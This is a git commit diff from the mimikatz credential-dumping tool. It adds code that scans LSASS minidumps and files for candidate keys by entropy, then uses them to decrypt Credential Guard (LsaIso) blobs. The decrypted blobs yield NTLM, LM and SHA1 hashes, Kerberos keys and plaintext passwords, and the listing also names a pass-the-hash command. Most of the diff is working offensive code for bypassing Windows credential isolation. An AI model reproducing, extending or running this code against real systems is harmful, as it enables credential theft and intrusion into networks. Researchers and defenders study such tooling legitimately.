[new] module minidump supports stream size

[new] module file read with FILE_SHARE_WRITE
[new] module crypto_sk for crypto with SecureKernel algorithms
[new] bcrypt lib to support BCryptKeyDerivation
[enhancement] LSAISO_DATA_BLOB structure & display
[experimental] sekurlsa::msv1_0 normalized structure for LsaIso
[experimental] sekurlsa::kerberos try to acquire session key from LsaIso
[experimental] sekurlsa::dpapi key from msv1_0 when LsaIso (not encrypted)
This commit is contained in:
Benjamin DELPY 2020-02-24 23:52:47 +01:00
parent b098bf37cf
commit 57b7267c30
19 changed files with 578 additions and 73 deletions

Binary file not shown.

Binary file not shown.

View File

@ -119,6 +119,7 @@
<ClCompile Include="..\modules\kull_m_cabinet.c" />
<ClCompile Include="..\modules\kull_m_cred.c" />
<ClCompile Include="..\modules\kull_m_crypto.c" />
<ClCompile Include="..\modules\kull_m_crypto_sk.c" />
<ClCompile Include="..\modules\kull_m_dpapi.c" />
<ClCompile Include="..\modules\kull_m_file.c" />
<ClCompile Include="..\modules\kull_m_handle.c" />
@ -154,7 +155,7 @@
<ClCompile Include="..\modules\kull_m_xml.c" />
<ClCompile Include="..\modules\sqlite3.c">
<PreprocessorDefinitions>SQLITE_UNTESTABLE;SQLITE_DISABLE_INTRINSIC;SQLITE_OMIT_LOCALTIME;SQLITE_DQS=0;SQLITE_THREADSAFE=0;SQLITE_DEFAULT_MEMSTATUS=0;SQLITE_DEFAULT_WAL_SYNCHRONOUS=1;SQLITE_LIKE_DOESNT_MATCH_BLOBS;SQLITE_MAX_EXPR_DEPTH=0;SQLITE_OMIT_DECLTYPE;SQLITE_OMIT_DEPRECATED;SQLITE_OMIT_PROGRESS_CALLBACK;SQLITE_OMIT_SHARED_CACHE;SQLITE_USE_ALLOCA;SQLITE_OMIT_OR_OPTIMIZATION;SQLITE_OMIT_LIKE_OPTIMIZATION;SQLITE_OMIT_BETWEEN_OPTIMIZATION;SQLITE_OMIT_TRUNCATE_OPTIMIZATION;SQLITE_OMIT_TCL_VARIABLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<TreatWarningAsError>false</TreatWarningAsError>
<TreatWarningAsError>false</TreatWarningAsError>
<WarningLevel>Level2</WarningLevel>
</ClCompile>
<ClCompile Include="mimikatz.c" />
@ -205,6 +206,7 @@
<ClCompile Include="modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt5.c" />
<ClCompile Include="modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt6.c" />
<ClCompile Include="modules\sekurlsa\kuhl_m_sekurlsa.c" />
<ClCompile Include="modules\sekurlsa\kuhl_m_sekurlsa_sk.c" />
<ClCompile Include="modules\sekurlsa\kuhl_m_sekurlsa_utils.c" />
<ClCompile Include="modules\sekurlsa\packages\kuhl_m_sekurlsa_credman.c" />
<ClCompile Include="modules\sekurlsa\packages\kuhl_m_sekurlsa_dpapi.c" />
@ -222,6 +224,7 @@
<ClInclude Include="..\modules\kull_m_cabinet.h" />
<ClInclude Include="..\modules\kull_m_cred.h" />
<ClInclude Include="..\modules\kull_m_crypto.h" />
<ClInclude Include="..\modules\kull_m_crypto_sk.h" />
<ClInclude Include="..\modules\kull_m_crypto_system.h" />
<ClInclude Include="..\modules\kull_m_dpapi.h" />
<ClInclude Include="..\modules\kull_m_file.h" />
@ -310,6 +313,7 @@
<ClInclude Include="modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt6.h" />
<ClInclude Include="modules\sekurlsa\globals_sekurlsa.h" />
<ClInclude Include="modules\sekurlsa\kuhl_m_sekurlsa.h" />
<ClInclude Include="modules\sekurlsa\kuhl_m_sekurlsa_sk.h" />
<ClInclude Include="modules\sekurlsa\kuhl_m_sekurlsa_utils.h" />
<ClInclude Include="modules\sekurlsa\packages\kuhl_m_sekurlsa_credman.h" />
<ClInclude Include="modules\sekurlsa\packages\kuhl_m_sekurlsa_dpapi.h" />

View File

@ -290,6 +290,12 @@
<ClCompile Include="..\modules\sqlite3.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="..\modules\kull_m_crypto_sk.c">
<Filter>common modules</Filter>
</ClCompile>
<ClCompile Include="modules\sekurlsa\kuhl_m_sekurlsa_sk.c">
<Filter>local modules\sekurlsa</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="mimikatz.h" />
@ -599,6 +605,12 @@
<ClInclude Include="..\modules\sqlite3.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="..\modules\kull_m_crypto_sk.h">
<Filter>common modules</Filter>
</ClInclude>
<ClInclude Include="modules\sekurlsa\kuhl_m_sekurlsa_sk.h">
<Filter>local modules\sekurlsa</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<Filter Include="local modules">

View File

@ -42,7 +42,7 @@ NTSTATUS kuhl_m_dpapi_cred(int argc, wchar_t * argv[])
kull_m_cred_descr(0, cred);
if(kull_m_string_args_byName(argc, argv, L"lsaiso", NULL, NULL))
{
kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) cred->CredentialBlob);
kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) cred->CredentialBlob, NULL, NULL);
kprintf(L"\n");
}
else kuhl_m_dpapi_cred_tryEncrypted(cred->TargetName, cred->CredentialBlob, cred->CredentialBlobSize, argc, argv);

View File

@ -122,7 +122,7 @@ NTSTATUS kuhl_m_dpapi_keys_cng(int argc, wchar_t * argv[])
{
if(isIso)
{
kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) ((PBYTE) out + sizeof(DWORD)));
kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) ((PBYTE) out + sizeof(DWORD)), NULL, NULL);
kprintf(L"\n");
}
else

View File

@ -879,7 +879,7 @@ BOOL kuhl_m_crypto_system_data(PBYTE data, DWORD len, PCWCHAR originalName, BOOL
kuhl_m_crypto_file_rawData(prop, originalName, isExport);
break;
case 118: // CERT_ISOLATED_KEY_PROP_ID
kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) prop->data);
kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) prop->data, NULL, NULL);
kprintf(L"\n");
break;
case CERT_SHA1_HASH_PROP_ID:

View File

@ -18,7 +18,6 @@ const KUHL_M_C kuhl_m_c_sekurlsa[] = {
{kuhl_m_sekurlsa_process, L"process", L"Switch (or reinit) to LSASS process context"},
{kuhl_m_sekurlsa_minidump, L"minidump", L"Switch (or reinit) to LSASS minidump context"},
{kuhl_m_sekurlsa_pth, L"pth", L"Pass-the-hash"},
#if !defined(_M_ARM64)
{kuhl_m_sekurlsa_krbtgt, L"krbtgt", L"krbtgt!"},
@ -127,6 +126,7 @@ NTSTATUS kuhl_m_sekurlsa_minidump(int argc, wchar_t * argv[])
}
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_sekurlsa_init()
{
lsassLocalHelper = NULL;
@ -141,6 +141,7 @@ NTSTATUS kuhl_m_sekurlsa_clean()
status = lsassLocalHelper->cleanLocalLib();
lsassLocalHelper = NULL;
}
kuhl_m_sekurlsa_sk_candidatekeys_delete();
return status;
}
@ -182,7 +183,7 @@ NTSTATUS kuhl_m_sekurlsa_acquireLSA()
{
if(Type == KULL_M_MEMORY_TYPE_PROCESS_DMP)
{
if(pInfos = (PMINIDUMP_SYSTEM_INFO) kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, SystemInfoStream))
if(pInfos = (PMINIDUMP_SYSTEM_INFO) kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, SystemInfoStream, NULL))
{
cLsass.osContext.MajorVersion = pInfos->MajorVersion;
cLsass.osContext.MinorVersion = pInfos->MinorVersion;
@ -1049,8 +1050,11 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
PWSTR sid = NULL;
PBYTE msvCredentials;
const MSV1_0_PRIMARY_HELPER * pMSVHelper;
#if defined(_M_X64) || defined(_M_ARM64)
DWORD cbLsaIsoOutput;
PBYTE lsaIsoOutput;
PLSAISO_DATA_BLOB blob = NULL;
#endif
if(mesCreds)
{
ConvertSidToStringSid(pData->pSid, &sid);
@ -1086,29 +1090,54 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
kprintf(L"\n\t * SHA1 : ");
kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToShaOwPassword, SHA_DIGEST_LENGTH, 0);
}
if(pMSVHelper->offsetToisDPAPIProtected && *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisDPAPIProtected))
{
kprintf(L"\n\t * DPAPI : ");
kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToDPAPIProtected, LM_NTLM_HASH_LENGTH, 0); // 020000000000
}
if(sid && (*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) || *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword)))
kuhl_m_dpapi_oe_credential_add(sid, NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) ? msvCredentials + pMSVHelper->offsetToNtOwfPassword : NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword) ? msvCredentials + pMSVHelper->offsetToShaOwPassword : NULL, NULL, NULL);
}
#if defined(_M_X64) || defined(_M_ARM64)
else
{
i = *(PUSHORT) (msvCredentials + pMSVHelper->offsetToIso);
if(pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_10_1607)
{
//kprintf(L"\n\t * unkSHA1: ");
//kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToIso + sizeof(USHORT), SHA_DIGEST_LENGTH, 0);
msvCredentials += LM_NTLM_HASH_LENGTH + sizeof(DWORD);
}
if((i == (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("NtlmHash") - 1) + 2*LM_NTLM_HASH_LENGTH + SHA_DIGEST_LENGTH)) ||
i == (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("NtlmHash") - 1) + 3*LM_NTLM_HASH_LENGTH + SHA_DIGEST_LENGTH))
kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) (msvCredentials + pMSVHelper->offsetToIso + sizeof(USHORT)));
else
kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) (msvCredentials + pMSVHelper->offsetToIso + sizeof(USHORT)), i);
{
if(kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) (msvCredentials + pMSVHelper->offsetToIso), &lsaIsoOutput, &cbLsaIsoOutput))
{
if(cbLsaIsoOutput == (2*LM_NTLM_HASH_LENGTH + SHA_DIGEST_LENGTH))
{
if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword))
{
kprintf(L"\n\t * NTLM : ");
kull_m_string_wprintf_hex(lsaIsoOutput, LM_NTLM_HASH_LENGTH, 0);
}
if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisLmOwfPassword))
{
kprintf(L"\n\t * LM : ");
kull_m_string_wprintf_hex(lsaIsoOutput + LM_NTLM_HASH_LENGTH, LM_NTLM_HASH_LENGTH, 0);
}
if(*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword))
{
kprintf(L"\n\t * SHA1 : ");
kull_m_string_wprintf_hex(lsaIsoOutput + 2*LM_NTLM_HASH_LENGTH, SHA_DIGEST_LENGTH, 0);
}
if(sid && (*(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) || *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword)))
kuhl_m_dpapi_oe_credential_add(sid, NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisNtOwfPassword) ? lsaIsoOutput : NULL, *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisShaOwPassword) ? lsaIsoOutput + 2*LM_NTLM_HASH_LENGTH : NULL, NULL, NULL);
}
else
{
PRINT_ERROR(L"Size error for NtlmHash LsaIso output (%u)\n", cbLsaIsoOutput);
kull_m_string_wprintf_hex(lsaIsoOutput, cbLsaIsoOutput, 1 | (16 << 16));
kprintf(L"\n");
}
LocalFree(lsaIsoOutput);
}
}
else kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) (msvCredentials + pMSVHelper->offsetToIso + sizeof(USHORT)), i);
}
#endif
if(pMSVHelper->offsetToisDPAPIProtected && *(PBOOLEAN) (msvCredentials + pMSVHelper->offsetToisDPAPIProtected))
{
kprintf(L"\n\t * DPAPI : ");
kull_m_string_wprintf_hex(msvCredentials + pMSVHelper->offsetToDPAPIProtected, LM_NTLM_HASH_LENGTH, 0); // 020000000000
}
break;
case KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY:
@ -1161,14 +1190,22 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
buffer.Buffer = (PWSTR) pHashPassword->Checksump;
if(kull_m_process_getUnicodeString(&buffer, cLsass.hLsassMem))
{
#if defined(_M_X64) || defined(_M_ARM64)
if((flags & KUHL_SEKURLSA_CREDS_DISPLAY_KERBEROS_10) && (pHashPassword->Size > (ULONG) FIELD_OFFSET(LSAISO_DATA_BLOB, data)))
{
if(pHashPassword->Size <= (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("KerberosKey") - 1) + AES_256_KEY_LENGTH)) // usual ISO DATA BLOB for Kerberos AES 256 session key
kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) buffer.Buffer);
else
kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) buffer.Buffer, (DWORD) pHashPassword->Size);
{
if(kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) buffer.Buffer, &lsaIsoOutput, &cbLsaIsoOutput))
{
kprintf(L"\n\t * Key : ");
kull_m_string_wprintf_hex(lsaIsoOutput, cbLsaIsoOutput, 0);
LocalFree(lsaIsoOutput);
}
}
else kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) buffer.Buffer, (DWORD) pHashPassword->Size);
}
else
#endif
{
if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/)
(*lsassLocalHelper->pLsaUnprotectMemory)(buffer.Buffer, buffer.MaximumLength);
@ -1188,6 +1225,7 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
{
switch(((PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607) mesCreds)->type)
{
#if defined(_M_X64) || defined(_M_ARM64)
case 1:
mesCreds->Password.Length = mesCreds->Password.MaximumLength = 0;
mesCreds->Password.Buffer = NULL;
@ -1196,6 +1234,8 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
if(kull_m_process_getUnicodeString(&buffer, cLsass.hLsassMem))
blob = (PLSAISO_DATA_BLOB) buffer.Buffer;
//break;
//TODO: to check another day :)
#endif
case 0:
// no creds
mesCreds->Password.Length = mesCreds->Password.MaximumLength = 0;
@ -1242,23 +1282,37 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
L"\n\t * Password : "
, username, domain);
if(!password || kull_m_string_suspectUnicodeString(password))
{
if((flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDMANPASS) && password)
kprintf(L"%.*s", password->Length / sizeof(wchar_t), password->Buffer);
else
kprintf(L"%wZ", password);
}
else kull_m_string_wprintf_hex(password->Buffer, password->Length, 1);
if(password)
{
if(kull_m_string_suspectUnicodeString(password))
{
if((flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDMANPASS))
kprintf(L"%.*s", password->Length / sizeof(wchar_t), password->Buffer);
else kprintf(L"%wZ", password);
}
else kull_m_string_wprintf_hex(password->Buffer, password->Length, 1);
}
#if defined(_M_X64) || defined(_M_ARM64)
else if(blob)
{
if(kuhl_m_sekurlsa_genericLsaIsoOutput(blob, &lsaIsoOutput, &cbLsaIsoOutput))
{
kprintf(L"\n\t * Password: ");
buffer.Length = buffer.MaximumLength = (USHORT) cbLsaIsoOutput;
buffer.Buffer = (PWSTR) lsaIsoOutput;
if((cbLsaIsoOutput < USHRT_MAX) && kull_m_string_suspectUnicodeString(&buffer))
kprintf(L"%wZ", &buffer);
else kull_m_string_wprintf_hex(lsaIsoOutput, cbLsaIsoOutput, 1);
LocalFree(lsaIsoOutput);
}
LocalFree(blob);
}
#endif
else kprintf(L"(null)");
if(username)
kuhl_m_sekurlsa_trymarshal(username);
if(username)
kuhl_m_sekurlsa_trymarshal(username);
if(blob)
{
kuhl_m_sekurlsa_genericLsaIsoOutput(blob);
LocalFree(blob);
}
}
if(username)
@ -1356,14 +1410,17 @@ VOID kuhl_m_sekurlsa_genericKeyOutput(PKIWI_CREDENTIAL_KEY key, LPCWSTR sid)
}
}
VOID kuhl_m_sekurlsa_genericLsaIsoOutput(PLSAISO_DATA_BLOB blob)
BOOL kuhl_m_sekurlsa_genericLsaIsoOutput(PLSAISO_DATA_BLOB blob, LPBYTE *output, DWORD *cbOutput)
{
BOOL status = TRUE;
kprintf(L"\n\t * LSA Isolated Data: %.*S", blob->typeSize, blob->data);
kprintf(L"\n\t Unk-Key : "); kull_m_string_wprintf_hex(blob->unkKeyData, sizeof(blob->unkKeyData), 0);
kprintf(L"\n\t Encrypted: "); kull_m_string_wprintf_hex(blob->data + blob->typeSize, blob->origSize, 0);
kprintf(L"\n\t\t SS:%u, TS:%u, DS:%u", blob->structSize, blob->typeSize, blob->origSize);
kprintf(L"\n\t\t 0:0x%x, 1:0x%x, 2:0x%x, 3:0x%x, 4:0x%x, E:", blob->unk0, blob->unk1, blob->unk2, blob->unk3, blob->unk4);
kull_m_string_wprintf_hex(blob->unkData2, sizeof(blob->unkData2), 0); kprintf(L", 5:0x%x", blob->unk5);
kprintf(L"\n\t KdfContext: "); kull_m_string_wprintf_hex(blob->KdfContext, sizeof(blob->KdfContext), 0);
kprintf(L"\n\t Tag : "); kull_m_string_wprintf_hex(blob->Tag, sizeof(blob->Tag), 0);
kprintf(L"\n\t AuthData : "); kull_m_string_wprintf_hex(&blob->unk5, FIELD_OFFSET(LSAISO_DATA_BLOB, data) - FIELD_OFFSET(LSAISO_DATA_BLOB, unk5) + blob->typeSize, 0);
kprintf(L"\n\t Encrypted : "); kull_m_string_wprintf_hex(blob->data + blob->typeSize, blob->szEncrypted, 0);
if(blob->szEncrypted && output && cbOutput)
status = kuhl_m_sekurlsa_sk_tryDecode(blob, output, cbOutput);
return status;
}
VOID kuhl_m_sekurlsa_genericEncLsaIsoOutput(PENC_LSAISO_DATA_BLOB blob, DWORD size)

View File

@ -66,7 +66,7 @@ VOID kuhl_m_sekurlsa_pth_luid(PSEKURLSA_PTH_DATA data);
VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, ULONG flags);
VOID kuhl_m_sekurlsa_trymarshal(PCUNICODE_STRING MarshaledCredential);
VOID kuhl_m_sekurlsa_genericKeyOutput(struct _KIWI_CREDENTIAL_KEY * key, LPCWSTR sid);
VOID kuhl_m_sekurlsa_genericLsaIsoOutput(struct _LSAISO_DATA_BLOB * blob);
BOOL kuhl_m_sekurlsa_genericLsaIsoOutput(struct _LSAISO_DATA_BLOB * blob, LPBYTE *output, DWORD *cbOutput);
VOID kuhl_m_sekurlsa_genericEncLsaIsoOutput(struct _ENC_LSAISO_DATA_BLOB * blob, DWORD size);
void kuhl_m_sekurlsa_bkey(PKUHL_M_SEKURLSA_CONTEXT cLsass, PKUHL_M_SEKURLSA_LIB pLib, PKULL_M_PATCH_GENERIC generics, SIZE_T cbGenerics, BOOL isExport);
#if !defined(_M_ARM64)
@ -208,11 +208,15 @@ typedef struct _LSAISO_DATA_BLOB {
DWORD unk2;
DWORD unk3;
DWORD unk4;
BYTE unkKeyData[3*16];
BYTE unkData2[16];
DWORD unk5;
DWORD origSize;
BYTE data[ANYSIZE_ARRAY];
BYTE KdfContext[32];
BYTE Tag[16];
DWORD unk5; // AuthData start
DWORD unk6;
DWORD unk7;
DWORD unk8;
DWORD unk9;
DWORD szEncrypted; // AuthData ends + type
BYTE data[ANYSIZE_ARRAY]; // Type then Encrypted
} LSAISO_DATA_BLOB, *PLSAISO_DATA_BLOB;
typedef struct _ENC_LSAISO_DATA_BLOB {
@ -221,4 +225,5 @@ typedef struct _ENC_LSAISO_DATA_BLOB {
BYTE data[ANYSIZE_ARRAY];
} ENC_LSAISO_DATA_BLOB, *PENC_LSAISO_DATA_BLOB;
#include "../dpapi/kuhl_m_dpapi_oe.h"
#include "../dpapi/kuhl_m_dpapi_oe.h"
#include "kuhl_m_sekurlsa_sk.h"

View File

@ -0,0 +1,208 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kuhl_m_sekurlsa_sk.h"
LIST_ENTRY gCandidateKeys = {&gCandidateKeys, &gCandidateKeys};
BYTE gIumMkPerBoot[32];
BOOL isgIumMkPerBoot = FALSE;
BOOL kuhl_m_sekurlsa_sk_candidatekey_add(BYTE key[32], DOUBLE entropy)
{
BOOL status = FALSE;
PKEYLIST_ENTRY entry;
if(key)
{
if(entry = (PKEYLIST_ENTRY) LocalAlloc(LPTR, sizeof(KEYLIST_ENTRY)))
{
RtlCopyMemory(entry->key, key, 32);
entry->entropy = entropy;
entry->navigator.Blink = gCandidateKeys.Blink;
entry->navigator.Flink = &gCandidateKeys;
((PKEYLIST_ENTRY) gCandidateKeys.Blink)->navigator.Flink = (PLIST_ENTRY) entry;
gCandidateKeys.Blink = (PLIST_ENTRY) entry;
status = TRUE;
}
}
else PRINT_ERROR(L"No key?");
return status;
}
void kuhl_m_sekurlsa_sk_candidatekey_delete(PKEYLIST_ENTRY entry)
{
if(entry)
{
((PKEYLIST_ENTRY) entry->navigator.Blink)->navigator.Flink = entry->navigator.Flink;
((PKEYLIST_ENTRY) entry->navigator.Flink)->navigator.Blink = entry->navigator.Blink;
LocalFree(entry);
}
}
void kuhl_m_sekurlsa_sk_candidatekey_descr(PKEYLIST_ENTRY entry)
{
if(entry)
{
kprintf(L" ");
kull_m_string_wprintf_hex(entry->key, 32, 0);
kprintf(L" (%f)\n", entry->entropy);
}
}
void kuhl_m_sekurlsa_sk_candidatekeys_delete()
{
PKEYLIST_ENTRY tmp, entry;
for(entry = (PKEYLIST_ENTRY) gCandidateKeys.Flink; entry != (PKEYLIST_ENTRY) &gCandidateKeys; entry = tmp)
{
tmp = (PKEYLIST_ENTRY) entry->navigator.Flink;
kuhl_m_sekurlsa_sk_candidatekey_delete(entry);
}
}
void kuhl_m_sekurlsa_sk_candidatekeys_descr()
{
PKEYLIST_ENTRY entry;
for(entry = (PKEYLIST_ENTRY) gCandidateKeys.Flink; entry != (PKEYLIST_ENTRY) &gCandidateKeys; entry = (PKEYLIST_ENTRY) entry->navigator.Flink)
kuhl_m_sekurlsa_sk_candidatekey_descr(entry);
}
extern double __cdecl log(__in double _X);
DOUBLE normalizedEntropy(LPCBYTE data, DWORD len)
{
DOUBLE ret = 0.0, p;
DWORD i, hist[256] = {0};
for (i = 0; i < len; i++)
hist[data[i]]++;
for(i = 0; i < ARRAYSIZE(hist); i++)
{
if(hist[i])
{
p = (DOUBLE) hist[i] / (DOUBLE) len;
ret += p * log(p);
}
}
return (ret == 0.0) ? 0.0 : (-ret / log(256.));
}
DWORD kuhl_m_sekurlsa_sk_search(PBYTE data, DWORD size, BOOL light)
{
PBYTE ptr;
DOUBLE e;
DWORD c = 0;
for(ptr = data; size > 0x40; ptr += 0x10, size -= 0x10)
{
if( (!*(PULONGLONG) ptr + 0x00) &&
(*(PULONGLONG) (ptr + 0x08) & 0x00ffffffffffffff) &&
(*(PUSHORT) (ptr + 0x0e) == 0x1000) &&
(!*(PULONGLONG) ptr + 0x30) &&
(*(PULONGLONG) (ptr + 0x38) & 0x00ffffffffffffff) &&
((*(PUSHORT) (ptr + 0x0e) == 0x1000) || (*(PUSHORT) (ptr + 0x0e) == 0x0800)) &&
(light || ((ptr[0x09] == ptr[0x0d]) && (ptr[0x09] == ptr[0x39]) && (ptr[0x09] == ptr[0x3d]))) )
{
e = normalizedEntropy(ptr + 0x10, 0x20);
if(e > 0.59)
{
kuhl_m_sekurlsa_sk_candidatekey_add(ptr + 0x10, e);
c++;
}
}
}
return c;
}
#define KUHL_M_SEKURLSA_SK_SEARCH_FILE_CUTME (256 * 1024 * 1024)
DWORD kuhl_m_sekurlsa_sk_search_file(LPCWSTR filename)
{
DWORD c = 0, dwBytesReaded;
LARGE_INTEGER i, fileSize, toRead;
HANDLE hFile;
PBYTE buffer;
if((hFile = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE , NULL, OPEN_EXISTING, 0, NULL)) && hFile != INVALID_HANDLE_VALUE)
{
if(GetFileSizeEx(hFile, &fileSize))
{
if(buffer = (PBYTE) LocalAlloc(LPTR, KUHL_M_SEKURLSA_SK_SEARCH_FILE_CUTME))
{
for(i.QuadPart = 0; i.QuadPart < fileSize.QuadPart; i.QuadPart += KUHL_M_SEKURLSA_SK_SEARCH_FILE_CUTME)
{
toRead.QuadPart = ((i.QuadPart + KUHL_M_SEKURLSA_SK_SEARCH_FILE_CUTME) < fileSize.QuadPart) ? KUHL_M_SEKURLSA_SK_SEARCH_FILE_CUTME : (fileSize.QuadPart - i.QuadPart);
if(SetFilePointerEx(hFile, i, NULL, FILE_BEGIN))
{
if(ReadFile(hFile, buffer, toRead.LowPart, &dwBytesReaded, NULL))
c += kuhl_m_sekurlsa_sk_search(buffer, dwBytesReaded, TRUE);
else PRINT_ERROR_AUTO(L"ReadFile");
}
else PRINT_ERROR_AUTO(L"SetFilePointerEx");
}
LocalFree(buffer);
}
}
else PRINT_ERROR_AUTO(L"GetFileSizeEx");
CloseHandle(hFile);
}
else PRINT_ERROR_AUTO(L"CreateFile");
return c;
}
NTSTATUS kuhl_m_sekurlsa_sk_tryDecodeKey(LPBYTE Key, DWORD cbKey, PLSAISO_DATA_BLOB blob, PBYTE output)
{
return SkpEncryptionWorker(Key, cbKey, blob->data + blob->typeSize, blob->szEncrypted, (UCHAR *) &blob->unk5, FIELD_OFFSET(LSAISO_DATA_BLOB, data) - FIELD_OFFSET(LSAISO_DATA_BLOB, unk5) + blob->typeSize, blob->KdfContext, sizeof(blob->KdfContext), blob->Tag, sizeof(blob->Tag), output, blob->szEncrypted, FALSE);
}
BOOL kuhl_m_sekurlsa_sk_tryDecode(PLSAISO_DATA_BLOB blob, PBYTE *output, DWORD *cbOutput)
{
NTSTATUS ntStatus;
PKEYLIST_ENTRY entry;
if(!isgIumMkPerBoot)
{
if(gCandidateKeys.Flink != &gCandidateKeys)
{
if(*output = (PBYTE) LocalAlloc(LPTR, blob->szEncrypted))
{
*cbOutput = blob->szEncrypted;
for(entry = (PKEYLIST_ENTRY) gCandidateKeys.Flink; entry != (PKEYLIST_ENTRY) &gCandidateKeys; entry = (PKEYLIST_ENTRY) entry->navigator.Flink)
{
ntStatus = kuhl_m_sekurlsa_sk_tryDecodeKey(entry->key, sizeof(entry->key), blob, *output);
if(NT_SUCCESS(ntStatus))
{
RtlCopyMemory(gIumMkPerBoot, entry->key, min(sizeof(gIumMkPerBoot), sizeof(entry->key)));
isgIumMkPerBoot = TRUE;
kuhl_m_sekurlsa_sk_candidatekeys_delete();
break;
}
}
if(!isgIumMkPerBoot)
{
*output = (PBYTE) LocalFree(*output);
*cbOutput = 0;
}
else
{
kprintf(L"\n[Found IumMkPerBoot: ");
kull_m_string_wprintf_hex(gIumMkPerBoot, 32, 0);
kprintf(L"]");
}
}
}
}
else if(isgIumMkPerBoot)
{
if(*output = (PBYTE) LocalAlloc(LPTR, blob->szEncrypted))
{
*cbOutput = blob->szEncrypted;
ntStatus = kuhl_m_sekurlsa_sk_tryDecodeKey(gIumMkPerBoot, sizeof(gIumMkPerBoot), blob, *output);
if(!NT_SUCCESS(ntStatus))
{
kprintf(L"\n");
PRINT_ERROR(L"SkpEncryptionWorker(decrypt): 0x%08x -- invalidating the key\n", ntStatus);
isgIumMkPerBoot = FALSE;
*output = (PBYTE) LocalFree(*output);
*cbOutput = 0;
}
}
}
return isgIumMkPerBoot;
}

View File

@ -0,0 +1,26 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#pragma once
#include "globals_sekurlsa.h"
#include "../modules/kull_m_crypto_sk.h"
#include "kuhl_m_sekurlsa.h"
typedef struct _KEYLIST_ENTRY {
LIST_ENTRY navigator;
BYTE key[32];
DOUBLE entropy;
} KEYLIST_ENTRY, *PKEYLIST_ENTRY;
BOOL kuhl_m_sekurlsa_sk_candidatekey_add(BYTE key[32], DOUBLE entropy);
void kuhl_m_sekurlsa_sk_candidatekey_delete(PKEYLIST_ENTRY entry);
void kuhl_m_sekurlsa_sk_candidatekey_descr(PKEYLIST_ENTRY entry);
void kuhl_m_sekurlsa_sk_candidatekeys_delete();
